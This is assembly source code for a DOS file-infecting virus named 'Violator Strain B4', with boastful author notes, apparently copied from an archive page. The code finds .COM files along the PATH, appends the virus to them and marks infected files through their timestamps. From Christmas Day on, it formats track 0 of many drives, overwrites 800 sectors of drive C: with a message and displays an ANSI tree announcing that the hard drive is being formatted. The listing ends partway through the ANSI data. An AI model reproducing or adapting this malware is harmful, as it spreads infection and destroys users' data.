home *** CD-ROM | disk | FTP | other *** search
- ;*****************************************************************************
- ; Violator Strain B4
- ;*****************************************************************************
- ;
- ; Notes: (Nov.26.9O)
- ; ------------------
- ;
- ; "Happy Holiday's Guys!!!"
- ;
- ; Haha! I just got off the line with Flash Force. We decided to make
- ; a Violator Strain B4 which will have a nice little ANSI Christmas tree
- ; with RABID's seasons greetings. So the file will be huge! But who cares.
- ; People won't notice an infection until it's too late due to the short life
- ; of this virus.
- ;
- ; New editions to this virus are a counter that keeps track of how many philes
- ; it has infected (Where it is in the program, I have no idea!!!), and a
- ; nice ANSI screen.
- ;
- ; I also fixed that stupid re-infection bug in B3... Bah! To err is human...
- ;
- ;*****************************************************************************
- ;
- ; Written by The High Evolutionary
- ;
- ; Copyright (c) 199O by The RABID Nat'nl Development Corp.
- ;
- ;*****************************************************************************
-
- CODE SEGMENT
- ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
- ORG $+0100H
-
- VCODE: JMP virus
-
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
- NOP
-
- v_start equ $
-
- virus: PUSH CX
- MOV DX,OFFSET vir_dat ;This is where the virus data starts.
- CLD
- MOV SI,DX
- ADD SI,first_3
- MOV DI,OFFSET 100H
- MOV CX,3
- REPZ MOVSB
- MOV SI,DX
- MOV AH,30H
- MOV marker,1
- CALL filter
- CMP AL,0
- JNZ year_check
- JMP quit
-
- filter: CMP marker,1
- JE int_21
- CMP marker,2
- JE int_13
- CMP marker,3
- JE int_26
- RET
-
- int_21: INT 21H
- RET
-
- int_13: INT 13h
- RET
-
- int_26: INT 26h
- RET
-
- year_check:
- MOV AH,2AH ; Get date info
- MOV marker,1 ; Set function for INT 21
- CALL filter ; Call the filter routine
- CMP CX,1990 ; Check if it's 1990
- JGE month_check ; Yes? Check the month
- JMP infect ; No? Go to infection routine
-
- month_check:
- CMP DH,month ; Check if it's December
- JGE day_check ; Yeah? Check the day
- JMP infect ; No? Infect a phile
-
- day_check:
- CMP DL,day ; Check if it's Christmas
- JGE kill_13 ; Yeah? Kill all drives
- JMP infect ; No? Infect a poor guy!
-
- kill_13:
- MOV AL,counter ; Move drive into AL
- CALL ala_13 ; Kill the drive
- CMP counter,27 ; Check to see if it's drive Z:
- JE re_format ; Yes! Then go to re_format
- INC counter ; Increase the counter
- LOOP kill_13 ; Jump up and fry the next one
-
- ala_13: MOV CH,0 ; Set to track 0
- MOV DL,counter ; Set drive to counter
- MOV AH,05h ; Set function for formatting
- MOV DH,0 ; Format Head 0
- MOV marker,2 ; Set for INT_13 call
- CALL filter ; Call the filter routine
- RET ; Return from call
- ;
- ; I changed this routine, becuase in the original Violator, I rewrote the
- ; data segment by calling it for the INT 26. All I did this time, was just
- ; set BX to be an offset of my INTRO var. That way, when Drive C is formatted,
- ; the Violator identifier string will be written everywhere... Kinda neat!
- ;
-
- re_format:
- MOV BP,OFFSET ansi ; Offset of ANSI screen
- MOV CX,2000 ; Set for 2000 bytes
- MOV AH,13h ; Set function for write to screen
- MOV AL,3 ; Set all attributes to be written
- MOV BH,0 ;
- MOV BL,0 ;
- MOV DH,0 ; Row 0
- MOV DL,0 ; Column 0
- INT 10h ; Display it to screen
- PUSHF ; Push Flags onto stack 'cause INT
- ; 26 kill the flag status
- MOV BX,OFFSET intro ; Add a message on the fried drive!
- MOV DX,00 ; Set for sector 0
- MOV CX,800 ; Write 800 sectors
- MOV AL,2 ; Make it drive C:
- MOV marker,3 ; Set up for INT 26 call
- CALL filter ; Call filter for INT 26
- POPF ; Restore the flags we pushed
-
- infect: PUSH ES
- MOV AH,2FH
- MOV marker,1
- CALL filter
- MOV [SI+old_dta],BX
- MOV [SI+old_dts],ES
- POP ES
- MOV DX,dta
- ADD DX,SI
- MOV AH,1AH
- CALL filter
- PUSH ES
- PUSH SI
- MOV ES,DS:2CH
- MOV DI,0
-
- find_path:
- POP SI
- PUSH SI
- ADD SI,env_str ;Point to "PATH=" string in data area
- LODSB
- MOV CX,OFFSET 8000H
- REPNZ SCASB
- MOV CX,4
-
- check_next_4:
- LODSB
- SCASB
- JNZ find_path
- LOOP check_next_4
- POP SI
- POP ES
- MOV [SI+path_ad],DI
- MOV DI,SI
- ADD DI,wrk_spc
- MOV BX,SI
- ADD SI,wrk_spc
- MOV DI,SI
- JMP SHORT slash_ok
-
- set_subdir:
- CMP WORD PTR [SI+path_ad],0
- JNZ found_subdir
- JMP all_done
-
- found_subdir:
- PUSH DS
- PUSH SI
- MOV DS,ES:2CH ;DS points to environment segment
- MOV DI,SI
- MOV SI,ES:[DI+path_ad] ;SI = PATH address
- ADD DI,wrk_spc ;DI points to file name workspace
-
- move_subdir:
- LODSB ;Get character
- CMP AL,';' ;Is it a ';' delimiter?
- JZ moved_one ;Yes, found another subdirectory
- CMP AL,0 ;End of PATH string?
- JZ moved_last_one ;Yes
- STOSB ;Save PATH marker into [DI]
- JMP SHORT move_subdir
-
- moved_last_one:
- MOV SI,0
-
- moved_one:
- POP BX ;Pointer to virus data area
- POP DS ;Restore DS
- MOV [BX+path_ad],SI ;Address of next subdirectory
- NOP
- CMP CH,'\' ;Ends with "\"?
- JZ slash_ok ;If yes
- MOV AL,'\' ;Add one, if not
- STOSB
-
- slash_ok:
- MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace
- MOV SI,BX ;Restore SI
- ADD SI,f_spec ;Point to "*.COM"
- MOV CX,6
- REPZ MOVSB ;Move "*.COM",0 to workspace
- MOV SI,BX
- MOV AH,4EH
- MOV DX,wrk_spc
- ADD DX,SI ;DX points to "*.COM" in workspace
- MOV CX,3 ;Attributes of Read Only or Hidden
- CALL filter
- JMP SHORT find_first
-
- find_next:
- MOV AH,4FH
- CALL filter
-
- find_first:
- JNB found_file ;Jump if we found it
- JMP SHORT set_subdir ;Otherwise, get another subdirectory
-
- found_file:
- MOV AX,[SI+dta_tim] ;Get time from DTA
- AND AL,1CH
- CMP AL,1CH
- JZ find_next ;If so, go find another file
- CMP WORD PTR [SI+dta_len],OFFSET 0FA00H
- ;
- ;Is the file too long?
- ;
- JA find_next ;If too long, find another one
- CMP WORD PTR [SI+dta_len],0AH
- ;
- ;Is it too short?
- ;
- JB find_next ;Then go find another one
- MOV DI,[SI+nam_ptr] ;DI points to file name
- PUSH SI ;Save SI
- ADD SI,dta_nam ;Point SI to file name
-
- more_chars:
- LODSB
- STOSB
- CMP AL,0
- JNZ more_chars ;Move characters until we find a 00
- POP SI
- MOV AX,OFFSET 4300H
- MOV DX,wrk_spc ;Point to \path\name in workspace
- ADD DX,SI
- CALL filter
- MOV [SI+old_att],CX ;Save the old attributes
- MOV AX,OFFSET 4301H ;Set attributes
- AND CX,OFFSET 0FFFEH
- MOV DX,wrk_spc ;Offset of \path\name in workspace
- ADD DX,SI ;Point to \path\name
- CALL filter
- MOV AX,OFFSET 3D02H ;Read/Write
- MOV DX,wrk_spc ;Offset to \path\name in workspace
- ADD DX,SI ;Point to \path\name
- CALL filter
- JNB opened_ok ;If file was opened OK
- JMP fix_attr ;If it failed, restore the attributes
-
- opened_ok:
- INC times ; Add one to the times counter so
- ; that we can keep track off how many
- ; files we have infected...
- MOV BX,AX
- MOV AX,OFFSET 5700H
- CALL filter
- MOV [SI+old_tim],CX ;Save file time
- MOV [SI+ol_date],DX ;Save the date
- MOV AH,2CH
- CALL filter
- MOV AH,3FH
- MOV CX,3
- MOV DX,first_3
- ADD DX,SI
- CALL filter
- JB fix_time_stamp ;Quit, if read failed
- CMP AX,3 ;Were we able to read all 3 bytes?
- JNZ fix_time_stamp ;Quit, if not
- MOV AX,OFFSET 4202H
- MOV CX,0
- MOV DX,0
- CALL filter
- JB fix_time_stamp ;Quit, if it didn't work
- MOV CX,AX ;DX:AX (long int) = file size
- SUB AX,3 ;Subtract 3 (DX must be 0, here)
- MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP inst
- ADD CX,OFFSET c_len_y
- MOV DI,SI ;Point DI to virus data area
- SUB DI,OFFSET c_len_x
- MOV [DI],CX
- MOV AH,40H
- MOV CX,virlen ;Length of virus, in bytes
- MOV DX,SI
- SUB DX,OFFSET codelen ;Length of virus code, gives starting
- ;address of virus code in memory
- CALL filter
- JB fix_time_stamp ;Jump if error
- CMP AX,OFFSET virlen ;All bytes written?
- JNZ fix_time_stamp ;Jump if error
- MOV AX,OFFSET 4200H
- MOV CX,0
- MOV DX,0
- CALL filter
- JB fix_time_stamp ;Jump if error
- MOV AH,40H
- MOV CX,3
- MOV DX,SI ;Virus data area
- ADD DX,jmp_op ;Point to the reconstructed JMP
- CALL filter
-
- fix_time_stamp:
- MOV DX,[SI+ol_date] ;Old file date
- MOV CX,[SI+old_tim] ;Old file time
- AND CX,OFFSET 0FFE0H
- OR CX,1CH ;Make timestamp with the infected
- ;seconds!!!
- MOV AX,OFFSET 5701H
- CALL filter
- MOV AH,3EH
- CALL filter
-
- fix_attr:
- MOV AX,OFFSET 4301H
- MOV CX,[SI+old_att] ;Old Attributes
- MOV DX,wrk_spc
- ADD DX,SI ;DX points to \path\name in workspace
- CALL filter
-
- all_done:
- PUSH DS
- MOV AH,1AH
- MOV DX,[SI+old_dta]
- MOV DS,[SI+old_dts]
- CALL filter
- POP DS
-
-
- ;*************************************************************************
- ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
- ; in since the address in a real JMP 100 is an offset, and the offset
- ; varies from one infected file to the next. By PUSHing an 0100H onto the
- ; stack, we can RET to address 0100H just as though we JMPed there.
- ;**********************************************************************
-
- quit:
- POP CX
- XOR AX,AX
- XOR BX,BX
- XOR DX,DX
- XOR SI,SI
- MOV DI,OFFSET 0100H
- PUSH DI
- XOR DI,DI
- RET 0FFFFH
-
- vir_dat EQU $
-
- month db 12 ;Set month to December
- day db 25 ;Set day to Christmas
- intro db 13,10
- DB 'Violator Strain B4 - Written by The RABID Nat''nl Development Corp.',13,10
- DB ' RABID would like to take this opportunity to extend it''s sincerest',13,10
- db ' holiday wishes to all Pir8 lamers around the world! If you are',13,10
- db ' reading this, then you are lame!!!',13,10
- db ' Anyway, to John McAffe! Have a Merry Christmas and a virus filled',13,10
- db ' new year. Go ahead! Make our day!',13,10,13,10
- db ' Remember! In the festive season, Say NO to drugs!!! They suck shit!',13,10
- db '(Bah! We make a virus this large, might as well have something positive!)',13,10
- marker DB 0 ;Marker for INT purposes
- counter DB 2 ;Counter for drives
- times DB 0
- ansi DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,'T',15,'H',15,'E',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,'┌',9,'─',9,'─',9,'─',9,'─'
- DB 9,'─',9,'─',9,'─',9,'─',9,'┐',9,'┌',9,'─',9,'─',15,'─'
- DB 15,'─',15,'─',15,'─',15,'┐',15,'┌',15,'─',15,'─',15,'─'
- DB 15,'─',9,'─',9,'─',9,'─',9,'┐',9,'┌',9,'─',9,'─',9,'┐'
- DB 9,'┌',12,'─',12,'─',12,'─',12,'─',12,'─',12,'─',12,'┐'
- DB 12,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,'│',9,' ',9,' ',9,' ',9,'┌',9,'─',9,'┐',9,' '
- DB 9,' ',9,'│',9,'│',9,' ',9,' ',9,'┌',15,'┐',15,' ',15,' '
- DB 15,'│',15,'│',15,' ',15,' ',15,' ',15,'┌',9,'┐',9,' '
- DB 9,' ',9,'│',9,'│',9,' ',9,' ',9,'│',9,'│',12,' ',12,' '
- DB 12,' ',12,'┌',12,'┐',12,' ',12,'│',12,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'│',9,' '
- DB 9,' ',9,' ',9,'│',9,' ',9,'│',9,' ',9,' ',9,'│',9,'│'
- DB 15,' ',15,' ',15,'└',15,'┘',15,' ',15,' ',15,'│',15,'│'
- DB 15,' ',15,' ',15,' ',15,'│',9,'│',9,' ',9,' ',9,'│',9
- DB '│',9,' ',9,' ',9,'│',12,'│',12,' ',12,' ',12,' ',12,'│'
- DB 12,'│',12,' ',12,'│',9,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,'│',9,' ',9,' ',9,' ',9
- DB '└',9,'─',9,'┘',9,' ',9,' ',9,'│',15,'│',15,' ',15,' '
- DB 15,'┌',15,'┐',15,' ',15,' ',15,'│',15,'│',15,' ',15,' '
- DB 15,' ',15,'└',9,'┘',9,' ',9,'┌',9,'┘',9,'│',9,' ',9,' '
- DB 9,'│',12,'│',12,' ',12,' ',12,' ',12,'│',12,'│',12,' '
- DB 12,'│',9,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,'│',1,' ',1,' ',1,'┌',1,'─',1,'┐',1,' '
- DB 1,' ',1,'┌',15,'┘',15,'│',15,' ',15,' ',15,'│',15,'│'
- DB 15,' ',15,' ',15,'│',15,'│',15,' ',15,' ',15,' ',15,'┌'
- DB 1,'┐',1,' ',1,'└',1,'┐',1,'│',12,' ',12,' ',12,'│',12
- DB '│',12,' ',12,' ',12,' ',12,'│',12,'│',1,' ',1,'│',1,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,'│',1,' ',1,' ',1,'│',1,' ',1,'└',1,'┐',1,' ',1,'└'
- DB 15,'┐',15,'│',15,' ',15,' ',15,'│',15,'│',15,' ',15,' '
- DB 15,'│',15,'│',15,' ',15,' ',15,' ',15,'│',1,'│',1,' '
- DB 1,' ',1,'│',1,'│',12,' ',12,' ',12,'│',12,'│',12,' ',12
- DB ' ',12,' ',12,'│',1,'│',1,' ',1,'│',1,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'│',1,' '
- DB 1,' ',1,'│',1,' ',1,' ',1,'│',15,' ',15,' ',15,'│',15
- DB '│',15,' ',15,' ',15,'│',15,'│',15,' ',15,' ',15,'│',15
- DB '│',1,' ',1,' ',1,' ',1,'└',1,'┘',1,' ',1,' ',1,'│',12
- DB '│',12,' ',12,' ',12,'│',12,'│',12,' ',12,' ',12,' ',12
- DB '└',1,'┘',1,' ',1,'│',1,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,'└',1,'─',1,'─',1,'┘',1
- DB ' ',1,' ',1,'└',15,'─',15,'─',15,'┘',15,'└',15,'─',15
- DB '─',15,'┘',15,'└',15,'─',15,'─',15,'┘',1,'└',1,'─',1,'─'
- DB 1,'─',1,'─',1,'─',1,'─',1,'─',1,'┘',12,'└',12,'─',12,'─'
- DB 12,'┘',12,'└',12,'─',12,'─',1,'─',1,'─',1,'─',1,'─',1
- DB '┘',1,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',15,'a',15
- DB 't',15,'i',15,'o',15,'n',15,'a',15,'l',15,' ',15,'D',15
- DB 'e',15,'v',15,'e',15,'l',15,'o',15,'p',15,'m',15,'e',15
- DB 'n',15,'t',15,' ',15,'C',15,'o',15,'r',15,'p',15,'o',15
- DB 'r',15,'a',15,'t',15,'i',15,'o',15,'n',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,'.',7,'.',7,'.',7,'w',7,'o',7,'u',7,'l',7,'d',7
- DB ' ',7,'l',7,'i',7,'k',7,'e',7,' ',7,'t',7,'o',7,' ',7
- DB 't',7,'a',7,'k',7,'e',7,' ',7,'t',7,'h',7,'i',7,'s',7
- DB ' ',7,'o',7,'p',7,'p',7,'o',7,'u',7,'r',7,'t',7,'u',7
- DB 'n',7,'i',7,'t',7,'y',7,' ',7,'t',7,'o',7,' ',7,'s',7
- DB 'p',7,'r',7,'e',7,'a',7,'d',7,' ',7,'i',7,'t',7,39,7,'s'
- DB 7,' ',7,'s',7,'i',7,'n',7,'c',7,'e',7,'r',7,'e',7,'s'
- DB 7,'t',7,' ',7,'w',7,'i',7,'s',7,'h',7,'e',7,'s',7,' '
- DB 7,'o',7,'f',7,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
- DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'a',7,' ',7
- DB 'v',7,'e',7,'r',7,'y',7,' ',7,'m',7,'e',7,'r',7,'r',7
- DB 'y',7,' ',7,'C',7,'h',7,'r',7,'i',7,'s',7,'t',7,'m',7
- DB 'a',7,'s',7,' ',7,'S',7,'e',7,'a',7,'s',7,'o',7,'n',7
- DB '.',7,' ',7,'H',7,'a',7,'v',7,'e',7,' ',7,'a',7,' ',7
- DB 'v',7,'i',7,'r',7,'u',7,'s',7,' ',7,'f',7,'i',7,'l',7
- DB 'l',7,'e',7,'d',7,' ',7,'n',7,'e',7,'w',7,' ',7,'y',7
- DB 'e',7,'a',7,'r',7,'!',7,'!',7,'!',7,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,'N',132,'O',132
- DB 'W',132,' ',132,'F',132,'O',132,'R',132,'M',132,'A',132
- DB 'T',132,'T',132,'I',132,'N',132,'G',132,' ',132,'Y',132
- DB 'O',132,'U',132,'R',132,' ',132,'H',132,'A',132,'R',132
- DB 'D',132,'-',132,'D',132,'R',132,'I',132,'V',132,'E',132
- DB '!',132,'!',132,'!',132,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,15,142,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 6,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,'░',10,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,'░',10,'▒',10,'░',10,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'░'
- DB 10,'▒',10,'▓',10,'▒',10,'░',10,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'░',10,'▒'
- DB 10,'▓',10,'█',10,'▓',10,'▒',10,'░',10,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,'░',10,'▒',10,'▓'
- DB 10,'█',10,'█',10,'█',10,'▓',10,'▒',10,'░',10,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,'░',10,'▒',10,'▓',10,'█'
- DB 10,'█',10,'█',10,'█',10,'█',10,'▓',10,'▒',10,'░',10,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,'░',10,'▒',10,'▓',10,'█',10,'█'
- DB 10,'█',10,'█',10,'█',10,'█',10,'█',10,'▓',10,'▒',10,'░'
- DB 10,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
- DB 15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
